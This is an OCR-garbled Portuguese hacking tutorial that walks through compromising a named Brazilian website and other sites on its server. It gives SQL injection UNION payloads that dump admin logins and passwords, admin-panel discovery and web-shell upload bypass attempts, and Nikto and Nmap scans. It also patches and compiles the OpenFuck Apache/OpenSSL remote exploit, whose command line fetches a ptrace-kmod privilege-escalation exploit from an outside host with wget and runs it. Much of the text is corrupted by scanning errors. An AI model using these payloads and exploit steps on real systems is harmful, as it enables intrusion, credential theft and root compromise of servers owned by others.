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/1 Begi n\\
Antes de nai s nada quero di zer que estou escrevendo este trem para nostrar al guns passos b

asi cos para enumeracdo/indentificagdo de vuls. ) ) )
E espero que ninguemuse isto de nmaneira indevida, ou seja use apenas para fins estudantis
-k

/1 /1 /1 /1 /1 /] =
/1

Cormo dito anteriormente ndo sou nenhum bOt, but fico muito satisfeito com m nhas explorat
ons, entdo vanps ao que interessa

ndsss@mgi cl 4b: ~$ STARTTHEPAULERA

The bi g Eneny:
http://siteof bdd. com br

Em prinmeira estanci a devenos analisar o site:

- Linguagemdo s ( php, asp, aspx , htm ) ( Multi: php+thtm, htm +php <- lol haha, aspx+h
tm) etc.

Ap6s indentificarnos a |inguagememque o site trabalha fica bemmis facil o avango em no
ssa expl oracdo pois se for htm por exenplo
Voce tera Diversos exploits certo? :P.p:P

/1 /1

Neste ponto consegui ver que neu alvo usa PHP , e entre tantas pagi nas achei algo interass
ante:

noti ci a. php
artigo. php
pagi na. php
I ndex. php

Acesso um desses condicionais e )
3mprimeira estancia estanps em paranmetro null: pagi na. php

nesta mesma pagi na existemlinks que nos mandam para outros lugares especificos umdeles f
oi :

http://siteof bdd. com br/ pagi na. php?i d=2

Pagi na nei ga com diversas inmagens e textos "l 1t3r4rlos". Conp ndo sou nuito fan tentei alg



0 na url cono:
http://siteof b4dd. com br/ pagi na. php?i d=2'

Ura sinples string para teste de sqgli poremndo houve al gumresultado de possiveis fal has
no tratanmento de requisic¢oes sql.

AQ0r4 | 4sco né nsm negao?

Mii tos Usuari o vao na seca atras de sqli , nuitos quando ndo acham o noticia. php ja choram
TRAG CO

ENt &o devenps abrir nossa mente para al go que seja mais |3c4l, mesno sendo o sqli podenos
sair desse patanar.

Cont i nuando:

LE fanous ping ~~~~~~~~~>

W ndows:
i niciar>executar> cnd

C.\ User s\ nd4sss>pi ng siteofbdd. com br

Di sparando siteofb4d. combr [127.0.0.1] com 32 bytes de dados:
Resposta de 127.0.0.1: bytes=32 tenpo=176ns TTL=51
Resposta de 127.0.0.1: bytes=32 tenpo=186ns TTL=50
Resposta de 127.0.0.1: bytes=32 tenpo=188ns TTL=51
Resposta de 127.0.0.1: bytes=32 tenpo=185ns TTL=51

Estatisticas do Ping para 127.0.0. 1:
Pacot es: Envi ados = 4, Recebidos = 4, Perdidos = 0 (0% de
perda),
Aproxi mar um ndnero redondo de vezes em m | i ssegundos:
Mninmo = 176ns, Maxino = 188ns, Meédia = 183ns
C.\ User s\ ndsss>
/] /]
!/ /1

~—
~

Li nux:

nd4sss@mgi cl 4b: ~$ ping -c¢ 1 siteofb4d.com br

PI NG sit eof b4d. com br (127.0.0.1) 56(84) bytes of data.

64 bytes from vuvuvu.net (127.0.0.1): icnp_seq=1 ttl =46 time=190 ns

--- siteofb4d.combr ping statistics ---

1 packets transmitted, 1 received, 0% packet |oss, tinme Ons
rtt mn/avg/ max/ ndev = 190. 090/ 190. 090/ 190. 090/ 0. 000 n®
n4sss@mgi cl 4b: ~$ y /) y

Apbés o ping podenps pegar o NUMERO da nmaequina e jogar emal gumsite especifico para verifi
carnbps a estrutura de sites:

Com par anet r os:

http://bing. conm

http://ww. shodanhg. con!

Reverse ip sonmente ( listagemdos sites semnto retifique)
http://ww. youget si gnal . com t ool s/ web- si t es-on-web-server/
http://networktools.nl/reverseip/

No bing fica mais facil para verificarnbs os sites com "paranetros":
No canpo de busca:

i p: i pdoal vo

Serdo |istados todos os sites no servidor alvo

tenps al go parecido com
/1 /1 /1

|ip:127.0.0.1 | [buscar]




Todos os Resul t ados
1 a 10 de 55.600 resultados- Avancada

CENFOTEC

Site 1:
nossoporn. com
TAPAS CLUB » Fot os

Site 2
tickets2.com br
Enpresa, Nossa M ssdo e Politica de Qualidae. Skygraf

Site 3

j ogosent | ash. net

Cursos - Instituto Mulligan do Brasil
Site 4

sssssk. org. br
Vegeta SSJ4 - Vegeta - Galeria de Imagens - Miltinmdia - Mindo DBZ

site 5

dbz. net
Trunks (4) - Galeria de Imagens - Miultinmdia - Mindo DBZ

12345 proxim
/1 /1 /1

Agora podenps ver que existemdiversos sites no mesno servidor ( nmuitas Vezes u ndo Tera e
ssa maré nansa )

Agora sim podenos achar vul nerabilidades conhecidas como : sqgli, Ifi , rfi em massa para
sso especificams o paranetro

/] /] [/
|1 p:127.0.0.1 id= | [buscar]

Todos os Resul t ados
1 a 10 de 55.600 resultados- Avancada

CENFOTEC

Site 1:
nossopor n. com dot ado. php?i d=20
TAPAS CLUB » Fot os

Site 2
tickets2.combr/| egi sl agdo. php?i d=4
Enpresa, Nossa M ssdo e Politica de Qualidae. Skygraf

Site 3

j ogosent | ash. net/ pronocgdo&val e. i d=2
Cursos - Instituto Mulligan do Brasil
Site 4

sssssk. org. br/ noti ci as. php?i d=1
Vegeta SSJ4 - Vegeta - Galeria de Imagens - Miltinmidia - Mindo DBZ

site 5

dbz. net/artigos_honme=1
Trunks (4) - Galeria de Imagens - Miultinmidia - Mindo DBZ

/1 /1 /1

Serado |istados todos resultados que sejam conpativeis comid=
Poi s especifiquei o parametro entdo emdiversos sites coma string ' no final da url ( sq
i ) consegui al go parecido com

You have an error in your SQ syntax; .......... to use near '''" ' "")' at line 1



Consegui explorar Diversos ( Lenbrando vanps aos passos e ndo a receita de bolo: eg: choco
| ate, abacaxi , entre outros.)

http://dbz.net/arti gos_honme=1 order by 6

6 tabel as

http://dbz.net/arti gos_home=1 UNION SELECT 1,2,3,4,5,6
Feito i sso, aparecera um numero, no caso 0 4.

Agora vem a parte Abra outra aba e Estude um pouco nais sqli ( Ndo gosto de explorar sqli
) Entéo lets play:
/] [/

/ /] /1
group_concat Concatenagdo em grupo
[ /] /1

group_concat(table_hane)
[

wher e tables_schenu;database()--
Pequeno filtro
/] /] /]

Ao todo ficaria al go parecido com
http://dbz. net/artigos_home=-1 UNI ON SELECT 1, 2, 3, group_concat (tabl e_nane), 5,6 frominform
ation_schena. tabl es where tabl e_schema=dat abase- -

Resul t: .
S ey ey ..., ..., UsUAri 0s

http://dbz. net/arti gos_home=-1 UNI ONSELECT 1, 2, 3, group_concat | ogi n, 0x3d, senha, 5,6 from usu
arios

Logi n: edm nitratour
Senha: hyper pw

!/ /1 [/
Apb6s Conseguir login & senha usei um adm n finder editado para achar a pagi na onde o admin
i strador |oga, |enbrando que devenbs senpre
usar os mai s conheci dos:
(principal mente em BR S)

/intranet/

[ admi n_pai nel /

/ pai nel /
/painelctrl/

[ extranet/

/ pai nel _adm

[ adm pai nel /
/adm n/ <- dd4ssic
/ adm

Caso va achando novos diretorios va addci onando para que fique uma |ista nmuscU osa e robus
ta.

Qutras maneiras de achar o dir do adm n:

Verificar Cami nho de inagens:

ﬁé'firefox ao clicarnmos emuma i magem com o botdo direito e em segui da

Copi ar endereco da i magem podenps achar Miita coisa |ike

http://ww. dbz. net/ pai nel _adm ni strativo/i nagens/ webt uga- al oj ament owebparti | hado. png
ou seja a i magem vem de :

/ pai nel _admi ni strativo/

* senpre faca essa verificacéo

-> robots. t xt

Defi ni ¢céo



robots, ou roboés,

sdo aplicativos que percorrema internet embusca de conteldo como objetivo de indexa-lo
ou verificaremal teracdes ocorridas desde a ultima "visita"

Nem t odo o conteldo de um site deve ser indexado pel os robots.

Pagi nas de | ogin, paginas repetidas, paginas de inpressdo sdo al guns desses exenpl os.

O que é robots.txt, entdo? Conmp o préprio none ja diz, é umarquivo no formato txt

que funciona cono umfiltro para os Craw ers,

fazendo com que webnasters possam control ar perm ssGes de acesso a determ nados pontos do
s sites.

O robots.txt controla qual informacdo de umsite deve ou ndo deve ser indexado pelos site
s de busca.

A sintaxe do arquivo é bem sinples, e deve ser col ocada pel o webnaster responsavel pelo s
ite na raiz da hospedagem

Mui t os ndo | eram "novi dade"

Miitas vezes o robots.txt podem nos indicar onde esta o diretorio do admn
0 robots.txt tema estrutura |like:

User - agent: Googl ebot

Di sall ow. /cgi-bin/

Di sal |l ow. /1 ang-zh/

Di sal | ow. /en/ home/

Di sal | ow. /pt/homre/

Di sal |l ow. /event-cal endar/

Di sal |l ow. /pt/resenhas-de-bares-e-pubs
Di sal | ow. /pt/bares-pubs-drinkedi n

Di sall ow. /pt/cerveja

Di sallow. /pt/licor

Di sal |l ow. /pt/receitas-de-bebidas

Di sal | ow. /he/

Di sal | ow. /bars-dpl5/

Di sal l ow. /i niciol

I sso pode te ajudar muito!
Basta voce entender mel hor o que ele faz!

Googl e:
O googl e pode tanrbemte ajudar na lida, caso o dir ndo esteja banned no robots vc ira acha
r facil o dir, poremvc precisa

mani pul ar sua dork de maneira que consiga o que esta procurando (Obvi ous) hehe.

GOOGLE

| site:dbz. net intext:senha |

Por acaso surge al go conp

dbz. net: very good - Pai nel
www. dbz. net/ pai nel / pai nel . php - Traduzir esta péagina
Logu3 admi ni strador

Por acaso achanos.
/] /] /]

Loganps , procuranpos canpo de upload de imagens , e por incrivel que paregaa , TODOS OS SI
TES sdo extremanentes fortes na sua area
admi ni strativa.

Al guns métodos utilizados:

shell.jpg ( Onmito)

Java script bypass ( ndo é facil acredite )

ext ensi on bypasser ( shell.jpg.php )

E nada que Funci one.

Ent 40 que surge a nescessi dade de se usar outro ti po de nmétodo, |enbrando que ndo achanops

vul ner abi | i dades conuns no nosso site alvo:
http://siteof b4dd. com br



Mas consegui nos achar sqli emoutros sites, porem sem sucesso no upl oad da web shell
Agora irenps partir para outro ponto:
- Scanners
CGs scanners sdo chave principal para o pentest
Mii t os usuarios ironizama respeito de al gunas tools que eles mau sabem pra que serve o b
i cho.
Exenpl o:
- Havji
QO havji tao usado por expert's && begginers etc e ainda t&o insultado.
ALguns conment x:
- PO%%#% nego usaaa havji e fala que é hackinerr?!
- PEGO OO HAVJI E ENFI AA ELE NO CUPOLO do seu bol so. AAUHAHA
entre outros que ndo posso e nem devo postar aqui
Para os mau informados havji apenas automatiza todas as suas |inhas suadas que voce, usa e
executa via url, form, frigideira
etc
El e ndo é nenhum cheater ("XITER') de CS ou algo do tipo
Ele s6 te ajuda
Do que adianta ndo usar havji e usar sqlimster HUAAUUEAUHAEHUAE FUCK!
€ a nerma coisa |l ove <3
Tudo que unma ferranenta faz voge pode fazer sozinho ou seja
0s bl ocos de comandos usados sdo apenas inportados pra dentro da |inguagem

utilizada no programa, ou seja voge sozinho pode encotrar falha de Ifi,sqli,rfi,servigos d
esat ual i zados etc

Ja day say de nmmis, boral

Al gumas boas ferranentas
/1 /1 /1

- Acuneti x

Scanner de vul nerabilidades , nmuito usado por admi nistradores para verificarem possiveis f
al has em seus sites

Miito bom tanbem para verificar diretorios ( Procura de Wb Shells )

- Havji
Aut omati zador sqli, transf de cookies, proxy interativo

- Nmap
O Nmap (“Network Mapper”) é uma ferramenta de cddi go aberto para expl oracdo de rede e aud
toria de seguranca.

El a foi desenhada para escanear rapi danente redes anpl as, enbora tanbém funcione nuito bem

contra hosts individuais. (nmap.org)

- N kto

Excel | ente scanner de vul nerabilidades, que pode facilitar e nuito a busca de vul nerabilid
ades.

/] /] /1

Essas sdo al gumas das boas ferramentas que podenps utilizar para |evantarnos o quadro de v
ul nerabi | i dades:

Ja que ndo consigos nada comsgli, blind, Ifi e rfi agora irenmps partir para a parte digam
0s que intermediaria, ja que é a partir
daqui que irenps ganhar acesso a nosso al vo

LEt's Rock:

/1 /1 /1

1 ° Step Nikto:

root @4gi cl 4b: ~# cd / pent est/web/ ni kt o/

root @Wgi cl 4b: / pentest/web/ ni kto# |s

docs nikto.conf nikto.pl plugins tenplates
root @Wgi cl 4b: / pent est / web/ ni kt o# perl ni kto. pl



- Nikto v2.1.4

+ ERROR No host specified

-config+ Use this config file

-Cgidirs+ scan these CA@ dirs: 'none', 'all', or values like "/cgi/ /cgi-
al"

- dbcheck check database and other key files for syntax errors

-Di spl ay+ Turn on/off display outputs

-evasi on+ i ds evasi on techni que

- For mat + save file (-0) format

-host + target host

-Hel p Ext ended hel p i nformation

-id+ Host authentication to use, format is id:pass or id:pass:realm

-1ist-plugins List all avail able plugins

- mut at e+ Guess additional file nanes

- mut at e- opti ons+ Provide extra information for nutations

- out put + Wite output to this file

-nocache Di sabl es the URI cache

-nossl Di sabl es using SSL

-no404 Di sabl es 404 checks

-port+ Port to use (default 80)

- Pl ugi ns+ List of plugins to run (default: ALL)

-root + Prepend root value to all requests, format is /directory

-ssl Force ssl node on port

-Single Si ngl e request node

-timeout + Ti meout (default 2 seconds)

- Tuni ng+ Scan tuning

-updat e Updat e dat abases and pl ugi ns from Cl RT. net

-vhost + Virtual host (for Host header)

-Version Print plugin and database versions

+ requires a val ue

Note: This is the short help output. Use -H for full help.

Usarenps o0 ni kto da seguinte forna:
!/ /1 [/

root @Wgi cl 4b: / pent est/ web/ ni kt o# perl nikto.pl -h site.com-p 80

Ni kto v2.1.4/2.1.5
Target Host: site.com
Target Port: 80
GET /: Retrieved x-powered-by header: PHP/5.1.6
GET /robots.txt: robots.txt contains 14 entries which should be manual |y vi ewed.
HEAD /: Apache/ 1.3.20 appears to be outdated (current is at |east Apache/2.2.17). Ap
ache 1.3.20 (final release) and 2.0.64 are al so current.
+ GET /: ETag header found on server, inode: 684198, size: 304, ntine: 0x46febd5ee3b00

+ o+

+ GET /: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ DEBUG /: DEBUG HTTP verb may show server debuggi ng i nformation. See http://nsdn. mcr
osoft.conm en-us/|ibrary/ e8z01xdh%@8VS. 80%29. aspx for details.

+ OSVDB-877: GET /: HITP TRACE nethod is active, suggesting the host is vulnerable to
XST

+ OSVDB-12184: GET /i ndex. php?=PHPB8B5F2A0- 3C92- 11d3- A3A9- 4C7B08C10000: /i ndex. php?=PH
PB8B5F2A0- 3C92- 11d3- A3A9- 4C7B08C10000: PHP reveal s potentially sensitive information via c
ertain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: GET /sone. php?=PHPE9568F34- D428- 11d2- A769- 00AA001ACF42: /sone. php?=PHPE
9568F34- D428- 11d2- A769- 00AAD01ACF42: PHP reveal s potentially sensitive information via cer
tain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: GET /sone. php?=PHPE9568F35- D428- 11d2- A769- 00AA001ACF42: /sone. php?=PHPE
9568F35- D428- 11d2- A769- 00AA001ACF42: PHP reveal s potentially sensitive information via cer
tain HTTP requests that contain specific QUERY strings.

OSVDB- 3092: GET /includes/: /includes/: This m ght be interesting...

OSVDB-3092: GET /logs/: /logs/: This mght be interesting...

OSVDB-3092: GET /tnp/: /tnp/: This might be interesting...

OSVDB- 3092: GET /manual /: /manual /: Web server nanual found.

OSVDB- 3268: GET /icons/: /icons/: Directory indexing found.

OSVDB- 3268: GET /manual /i mages/: /manual /i mages/: Directory indexing found.

OSVDB- 18114: GET /reports/rwservl et ?server =repserv+report =/t np/ hacker.rdf +dest ype=c
ache+desf ormat =PDF: /reports/rwservl et ?server =repser v+report =/t np/ hacker . r df +dest ype=cach
et+desformat =PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Ex
ecution

+ o+



+ OSVDB- 3233: GET /icons/ READVE: /icons/ README: Apache default file found
Ao term no do processo podenps analisar as linhas e verificar se ha al go que no interesse

- This might be interesting..

Al go interessante foi encontrado pelo nikto ou seja

Senpre que houver esta nensagem, o nikto indica algumdiretorio ou arqui vo que possa nos
aj udar, seja logs, arquivos de configuracgéo

etc.

- appears to be outdated

Poderos facil mente achar servicgos desatual i zados com o nikto. _ _

Lenmbrando que com servi ¢os desatual i zados podenos usar umrenote exploit e conseguir uma
shell root ou usuario superior

O nikto tanbemtema util funcdo de procurar vul nerabilidades emcgi, podenos fazer una va
rredura conpleta com

/1 /1 /1
root @Wgi cl 4b: / pent est/ web/ ni kt o# perl nikto.pl -Call -h site.com-p 80
[ [ /1

COM i sso irenps escanear todos diretorios de cgi "ALL"

/1 /1 /1

Nmap

Entre os nelhors nmap , nobstra ao usuario i nformagdes precisas sobre o servidor que estd s
endo escaneado. . . . .
Pode ser usado em conjunto com netasploit para maior eficacia

O nmap nos da umresul tado preciso sobre servigos desatualizados. )
Ent &0 sem mai s del ongas vanps passar o nmap em nosso alvo para ver o que consegui nDs:

/] /] /]
root @wgi cl 4b: ~# nmap -sS -sV -v 127.0.0.1

Scanning 127.0.0.1 [ 1000 ports]

Di scovered open port 139/tcp on 127.0.0.1
Di scovered open port 443/tcp on 127.0.0.1
Di scovered open port 80/tcp on 127.0.0.1
Di scovered open port 22/tcp on 127.0.0.1
Di scovered open port 111/tcp on 127.0.0.1
Di scovered open port 1024/tcp on 127.0.0.1
Conpl eted SYN Stealth Scan at 20:35, 0.13s el apsed (1000 total ports)
NSE: Script scanning 127.0.0. 1.

Nmap scan report for 127.0.0.1

Host is up (0.034s |atency).

Not shown: 994 cl osed ports

PORT STATE SERVI CE VERSI ON
22/tcp open ssh QpenSSH 2. 9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) nod_ssl/2

. 8.4 OpenSSL/ 0. 9. 6b)

111/tcp open rpchbind (rpchind V2) 2 (rpc #100000)

139/tcp open netbios-ssn Sanba snbd (wor kgroup: MYGROUP)

443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) nod_ssl/2
. 8.4 OpenSSL/ 0. 9. 6b)

1024/ tcp open status (status V1) 1 (rpc #100024)

MAC Address: 00:0C: 29: 30: A5: 82 (VMnar e)

Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.052KB)
r oot @wgi cl 4b: ~#
/1 /1 /1

Uma |inha que ne interessou nuito foi essa

443/ tcp open ssl/http Apache httpd 1.3.20
apache comnod_ssl/2.8.4

AO procurar no exploit-db al go pareci do encontrei



http://ww. expl oi t-db. conf expl oi t s/ 764/
Apache COpenSSL Renote Exploit (Miltiple Targets) (OpenFuckV2.c) platfrm |inux

Ao analisar o cdédigo

/*
* OF version r00t VERY PRI V8 spabam

* Conpile with: gcc -o OpenFuck OpenFuck.c -lcrypto

* objdunp -R /usr/sbin/httpd|grep free to get nore targets
*/#hackarena irc.brasnet.org

*

Ao anal i sarnbs o source tbm podenps perceber que al guns headers estdo faltando no source
do xpl:

Al guns users devem estar se perguntando o que seriam os headers )
Headers s&o "bibliotecas" que armazenamintrugoes para que comandos , fungoes etc sejam ex
ecut ados em det er mi nada | i nguagem

#i ncl ude <arpalinet. h>
#i ncl ude <netinet/in.h>
#i ncl ude <sys/types. h>
#i ncl ude <sys/socket. h>
#i ncl ude <netdb. h>

#i ncl ude <errno. h>

#i ncl ude <string. h>

#i ncl ude <stdio. h>

#i ncl ude <uni std. h>

#i ncl ude <openssl/ssl. h>
#i ncl ude <openssl/rsa. h>
#i ncl ude <openssl/x509. h>
#i ncl ude <openssl/evp. h>

renos adci onar

#i ncl ude <openssl rc4. h>
#i ncl ude <openssl md5. h>

Qutra parte que devenps focar é
de umctrl +f para localizar a linha

cd /tnp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-knmod.c; gcc -o p ptrace-k
nmod.c; rmptrace-knmod.c; ./p

0 endereco
http://packetstornsecurity.nl/0304-expl oi ts/ptrace-knod.c

Esta offline e preci sanps nudar por um endereco valido
http://downl oads. securityfocus. com vul nerabilities/exploits/ptrace-knod.c

/] /] /1
a linha conpleta ficara da seguinte maneira
Ant es:
#defi ne COVWAND2 "unset H STFILE;, cd /tnp; wget http://packetstormsecurity.nl/0304-exploit
s/ ptrace-knmod.c; gcc -o p ptrace-knod.c; rmptrace-knod.c; ./p; \n"

Depoi s:
#defi ne COVWWAND2 "unset HI STFILE;, cd /tnp; wget http://downl oads. securityfocus. conlvul nera
bilities/exploits/ptrace-knod.c; gcc -o p ptrace-kmod.c; rmptrace-knmod.c; ./p; \n"

!/ /1 [/

/1 /1 /1

OGs headers:

/1 /1 /1

Ant es:

#i ncl ude <arpalinet. h>
#i ncl ude <netinet/in.h>
#i ncl ude <sys/types. h>
#i ncl ude <sys/socket. h>
#i ncl ude <netdb. h>

#i ncl ude <errno. h>



#i ncl ude <string. h>
#i ncl ude <stdi o. h>
#i ncl ude <uni std. h>

#i ncl ude <openssl/ssl. h>
#i ncl ude <openssl/rsa. h>
#i ncl ude <openssl/x509. h>
#i ncl ude <openssl/evp. h>

Depoi s:

#i ncl ude <arpalinet. h>
#i ncl ude <netinet/in.h>
#i ncl ude <sys/types. h>
#i ncl ude <sys/socket. h>
#i ncl ude <netdb. h>

#i ncl ude <errno. h>

#i ncl ude <string. h>

#i ncl ude <stdio. h>

#i ncl ude <uni std. h>

#i ncl ude <openssl/ssl. h>
#i ncl ude <openssl/rsa. h>
#i ncl ude <openssl/x509. h>
#i ncl ude <openssl/evp. h>
#i ncl ude <openssl/rc4.h> /*Header Adci onado*/
#i ncl ude <openssl/nd5. h> /*Header Adci onado*/
/1 /1 /1

Agora irenpos conpil ar

/] /] /1
root @wgi cl 4b: ~# gcc xpl.c -o xpl -lcrypto
xpl.c: In function ‘get_server_hello’
xpl.c:1009: warning: passing argument 2 of ‘d2i_X509" frominconpatible pointer type
[usr/include/ openssl/x509. h: 939: note: expected ‘const unsigned char **' but argunent is o
f type ‘unsigned char **

root @ugicl4b: ~# |s -1 xpl*
-rwxr-xr-x 1 root root 60574 2012-03-27 21:20 xpl
-rwr--r-- 1 root root 36833 2012-03-27 21:20 xpl.c
r oot @wgi cl 4b: ~#
/] /] /1

Podenps agora ver o que o exploit nos oferece

/1 /1

/]
J

root @wgi cl 4b: ~# ./ xp
R I I I I I R R R I R R I R R I I R R R I R R I I R I I R I I R I Rk I R

* QpenFuck v3.0.32-root priv8 by SPABAM based on openssl -too-open *
EE R R I I S O
* by SPABAM with code of Spabam - LSD-pl - Sol arEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xant hic USG #Si | ver Lords #Bl oodBR #i sot k #hi ghsecure #unane *
* #]1 ON #delirium#nitrOx #coder #root #endi abradOs #NHC #TechTeam *
* #pi nchador esweb H TechHate Digital Wapperz P()W GAT ButtP!'ratez *

R R S b R R R R I kS O Rk R o kR R I Ik kR o R R IR kS

Usage: ./xpl target box [port] [-c N]

target - supported box eg: 0x00

box - hostnane or |P address

port - port for ssl connection

-c open N connections. (use range 40-50 if u dont know)

Supported O f Set:
0x00 - Cal dera OpenLi nux (apache-1. 3. 26)
0x01 - Cobalt Sun 6.0 (apache-1.3.12)
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x03 - Cobalt Sun x (apache-1. 3. 26)
0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
0x05 - Conectiva 4 (apache-1.3.6)



0x06 - Conectiva 4.1 (apache-1.3.9)

0x07 - Conectiva 6 (apache-1.3.14)

0x08 - Conectiva 7 (apache-1.3.12)

0x09 - Conectiva 7 (apache-1.3.19)

Ox0a - Conectiva 7/8 (apache-1. 3. 26)

0x0b - Conectiva 8 (apache-1.3.22)

0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)

0x0d - Debian G\U Linux (apache_1.3.19-1)
0x0e - Debian GNU Linux (apache_1.3.22-2)
0xO0f - Debian G\U Linux (apache-1.3.22-2.1)
0x10 - Debi an GN\U Li nux (apache-1. 3. 22-5)
0x11 - Debian G\U Linux (apache_1.3.23-1)
0x12 - Debian GNU Linux (apache_1.3.24-2.1)

0x13 - Debian Linux G\U Linux 2 (apache_1.3.24-2.1)
0x14 - Debian G\U Li nux (apache_1. 3. 24-3)
0x15 - Debian G\U Li nux (apache-1.3.26-1)
0x16 - EEblan G\U Linux 3.0 Vbody (apache 1.3.26-1)
0x17 - Debian G\U Li nux (apache-1.3.27)

9)

0x18 - FreeBSD (apache-1. 3.

0x19 - FreeBSD (apache-1.3.11)

Oxla - FreeBSD (apache-1.3.12.1.40)
Ox1b - FreeBSD (apache-1.3.12.1.40)
Oxlc - FreeBSD (apache-1.3.12.1.40)
0x1d - FreeBSD (apache-1.3.12.1.40_1)
Oxle - FreeBSD (apache-1.3.12)

Ox1f - FreeBSD (apache-1. 3. 14)

0x20 - FreeBSD (apache-1. 3. 14)

0x21 - FreeBSD (apache-1. 3. 14)

0x22 - FreeBSD (apache-1. 3. 14)

0x23 - FreeBSD (apache-1. 3. 14)

0x24 - FreeBSD (apache-1.3.17_1)
0x25 - FreeBSD (apache-1.3.19

0x26 - FreeBSD (apache-1.3.19 1)
0x27 - FreeBSD (apache-1. 3. 20)

0x28 - FreeBSD (apache- 1. 3. 20)

0x29 - FreeBSD (apache-1.3.20+2. 8. 4)
Ox2a - FreeBSD (apache-1.3.20_1)
0x2b - FreeBSD (apache-1. 3. 22)

0x2c - FreeBSD (apache-1.3.22_7

0x2d - FreeBSD (apache_fp-1.3.23)

Ox2e - FreeBSD (apache-1.3.24_7)

0x2f - FreeBSD (apache-1.3.24+2.8.8)

0x30 - FreeBSD 4. 6. 2- Rel ease-p6 (apache-1. 3. 26)
0x31 - FreeBSD 4. 6- Real ease (apache-1. 3. 26)
0x32 - FreeBSD (apache-1.3.27)

0x33 - Gentoo Linux (apache-1.3.24-r2)

0x34 - Linux Generic (apache-1.3.14)

0x35 - Mandrake Linux X. x (apache-1.3.22-10. 1ndk)
0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)

0x37 - Mandrake Linux 7.1 (apache-1.3.22-1. 4ndk)
0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)
0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2

Ox3a - Mandrake Linux 7.2 (apache-1.3.20-5. 1ndk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5. 2ndk)
0x3c - Mandrake Linux 7.2 (apache-1.3.22-1. 3ndk)
0x3d - Mandrake Linux 7.2 (apache-1.3.22-10. 2ndk)
0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)

0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)

0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)

0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)
0x42 - Mandrake Linux 8.2 (apache-1.3.24)

0x43 - Mandr ake Llnux 9 (apache-1. 3. 26)

0x44 - RedHat Linux ?

GENERI C (apache-1. 3.12-1)
0x45 - RedHat Linux TESTl (apache-1. 3.12-1)

0x46 - RedHat Linux TEST2 (apache-1.3.12-1)

0x47 - RedHat Linux GENERI C (marunbi) (apache-1.2.6-5)
0x48 - RedHat Linux 2 (apache-1.1. 3-3)

0x49 - RedHat Linux 0 (apache-1. 2. 4-4)

Ox4a - RedHat Linux 1- Updat e (apache-1. 2. 6)

0x4b - RedHat Linux 1 (apache-1. 2. 6-4)

Ox4c - RedHat Linux 2 (apache-1.3.3-1)

0x4d - RedHat Linux 2-Updat e (apache-1.3.14-2.5.x)
Ox4e - RedHat Linux 0 (apache-1.3.6-7)

0x4f - RedHat Linux 0 (apache-1.3.6-7)

conaooaa



0x50 -
0x51 -
0x52 -
0x53 -
0x54 -
0x55 -
0x56 -
0x57 -
0x58 -
0x59 -
Ox5a -
0x5b -
0x5¢c -
0x5d -
Ox5e -
Ox5f -
0x60 -
0x61 -
0x62 -
0x63 -
0x64 -
0x65 -
0x66 -
0Ox67 -
0x68 -
0x69 -
Ox6a -
0Ox6b -
0Ox6¢c -
ox6d -
Ox6e -
ox6f -
0x70 -
0x71 -
0x72 -
0x73 -
0x74 -
0x75 -
0X76 -
Ox77 -
0x78 -
0x79 -
Ox7a -
0x7b -
0x7c -
ox7d -
Ox7e -
ox7f -
0x80 -
0x81 -
0x82 -
0x83 -
0x84 -
0x85 -
0x86 -
0x87 -
0x88 -
0x89 -
Ox8a -

Fuck to all

r oot @mgi cl

RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
Redhat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
Redhat Li
Redhat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
RedHat Li
Sl ackwar e
Sl ackwar e
Sl ackwar e
Sl ackwar e
Sl ackwar e
Sl ackwar e
Sl ackwar e
Sl ackwar e
Sl ackwar e
Sl ackwar e
SuSE Linu
SuSE Linu
SuSE Linu
SuSE Linu
SuSE Linu
SUSE Li nu
SuSE Linu
Yel | ow Do

nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
nux
Li
Li
Li

Li
Li
Li
Li
Li
Li
X
X
X
X
X
X
X

g

CoOENNNN

OO NNNNNNNNNNNNNNNNNNNNNNNNNNNOONNNNDODD

2 nod(apache-1.3.12-2

1
1
1
1
1
1

.2 update (apache-1. 3.
. 2-Updat e (apache-1. 3.
. X (apache-
. X (apache-
. X (apache-
.0 (apache-
.0 (apache-
.0 (apache-
. 0-Update (apache-1.3.22-5.7.1)

3.22)

3. 26- 1)
3.27)
3.12-25)1
3.12-25)2
3. 14-2)

)3
22-
22-

. 0-Updat e (apache-1.3.14-2.6.2)
.0 Update (apache-1.3.24)
.1 (apache-1.3.9-4)1
.1 (apache-1.3.9-4)2
. 1-Updat e (apache-1.3.14-2.6.2)
. 1-fp2000 (apache-1. 3. 26)
.2 (apache-1.3.12-2)1
.2 (apache-1.3.12-2)2

5.6)1
5.6)2

0-7.1 update (apache-1.3.22-5.7.1)

. 0-Update (apache-1.3.27-1.7.1)
.1 (apache-1.3.19-5)1
.1 (apache-1.3.19-5)2

1-7.0 update (apache-1.3.22-5.7.1)

